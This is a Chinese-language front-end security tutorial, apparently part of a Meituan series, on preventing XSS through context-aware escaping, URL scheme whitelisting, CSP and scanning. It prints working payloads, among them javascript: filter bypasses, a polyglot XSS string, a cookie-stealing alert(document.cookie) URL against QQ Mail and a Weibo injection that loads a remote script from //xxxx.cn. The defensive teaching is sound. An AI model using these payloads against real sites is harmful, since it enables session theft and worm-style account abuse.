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前端安全系列(一):如何防止XSS攻击?

前端安全

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

  • <input type="text" value="<%= getParameter("keyword") %>">
  • <button>搜索</button>
  • <div>
  • 您搜索的关键词是:<%= getParameter("keyword") %>
  • </div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

  • http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接<span style=”color:red”>[请勿模仿,确认安全的链接才能点开]</span>。果然,页面中弹出了写着”XSS”的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

  • <input type="text" value=""><script>alert('XSS');</script>">
  • <button>搜索</button>
  • <div>
  • 您搜索的关键词是:"><script>alert('XSS');</script>
  • </div>

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

  • <input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
  • <button>搜索</button>
  • <div>
  • 您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
  • </div>

escapeHTML() 按照如下规则进行转义:

字符 转义后的字符
& &amp;
< &lt;
> &gt;
" &quot;
' &#x27;
/ &#x2F;

经过了转义函数的处理后,最终浏览器接收到的响应为:

  • <input type="text" value="&quot;><script>alert(&#x27;XSS&#x27;);<&#x2F;script>">
  • <button>搜索</button>
  • <div>
  • 您搜索的关键词是:&quot;><script>alert(&#x27;XSS&#x27;);<&#x2F;script>
  • </div>

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。<span style=”color:red”>[事情当然没有这么简单啦!请继续往下看]</span>。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

  • <a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

  • <a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了…

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

  • // 禁止 URL 以 "javascript:" 开头
  • xss = getParameter("redirect_to").startsWith('javascript:');
  • if (!xss) {
  • <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
  • 跳转...
  • </a>
  • } else {
  • <a href="/404">
  • 跳转...
  • </a>
  • }

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?…..好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

  • // 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
  • allowSchemes = ["http", "https"];
  •  
  • valid = isValid(getParameter("redirect_to"), allowSchemes);
  •  
  • if (valid) {
  • <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
  • 跳转...
  • </a>
  • } else {
  • <a href="/404">
  • 跳转...
  • </a>
  • }

通过这个事件,小明学习到了如下知识:

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 <a href="xxx" 或 location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

  • <script>
  • var initData = <%= data.toJSON() %>
  • </script>

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

  • 当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
  • 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则如下:

字符 转义后的字符
U+2028 \u2028
U+2029 \u2029
< \u003c

修复后的代码如下:

  • <!-- HTML 标签内文字内容 -->
  • <div><%= Encode.forHtml(UNTRUSTED) %></div>
  •  
  • <!-- HTML 标签属性值 -->
  • <input value="<%= Encode.forHtml(UNTRUSTED) %>" />
  •  
  • <!-- CSS 属性值 -->
  • <div style="width:<= Encode.forCssString(UNTRUSTED) %>">
  •  
  • <!-- CSS URL -->
  • <div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
  •  
  • <!-- JavaScript 内联代码块 -->
  • <script>
  • var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  • alert(msg);
  • </script>
  •  
  • <!-- JavaScript 内联代码块内嵌 JSON -->
  • <script>
  • var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
  • </script>
  •  
  • <!-- HTML 标签内联监听器 -->
  • <button
  • onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  • click me
  • </button>
  •  
  • <!-- URL 参数 -->
  • <a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
  •  
  • <!-- URL 路径 -->
  • <a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
  •  
  • <!--
  • URL.
  • 注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
  • -->
  • <a href='<%=
  • urlValidator.isValid(UNTRUSTED) ?
  • Encode.forHtml(UNTRUSTED) :
  • "/404"
  • %>'>
  • link
  • </a>

可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

  • <!-- 内联事件监听器中包含恶意代码 -->
  • <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
  •  
  • <!-- 链接内包含恶意代码 -->
  • <a href="UNTRUSTED">1</a>
  •  
  • <script>
  • // setTimeout()/setInterval() 中调用恶意代码
  • setTimeout("UNTRUSTED")
  • setInterval("UNTRUSTED")
  •  
  • // location 调用恶意代码
  • location.href = 'UNTRUSTED'
  •  
  • // eval() 中调用恶意代码
  • eval("UNTRUSTED")
  • </script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

经过一番搜索,小明找到了两个方法:

  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  2. 使用扫描工具自动检测 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

  • jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

  • http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻击的总结

我们回到最开始提出的问题,相信同学们已经有了答案:

  1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

    不正确。因为:

    • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
    • 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    不正确。
    不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。
    业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎
    开启模板引擎自带的 HTML 转义功能。例如:
    在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>
    在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }
    在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件
    尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML
    前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕
    在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果
    通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现
    可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

  • <script>
  • getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

  • <li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

  • <html>
  • <head>
  • <meta charset="UTF-8">
  • <title>{{.title}}</title>
  • </head>
  • <body>
  • <a href="{{.url}}">{{.content}}</a>
  • </body>
  • </html>

模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

  • <html>
  • <head>
  • <meta charset="UTF-8">
  • <title>{{.title | htmlescaper}}</title>
  • </head>
  • <body>
  • <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  • </body>
  • </html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

课后作业:XSS 攻击小游戏

以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

alert(1) to win
prompt(1) to win
XSS game

参考文献

著作权归原作者所有。
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本文地址: https://www.qdskill.com/information/9374.html © qdskill.com
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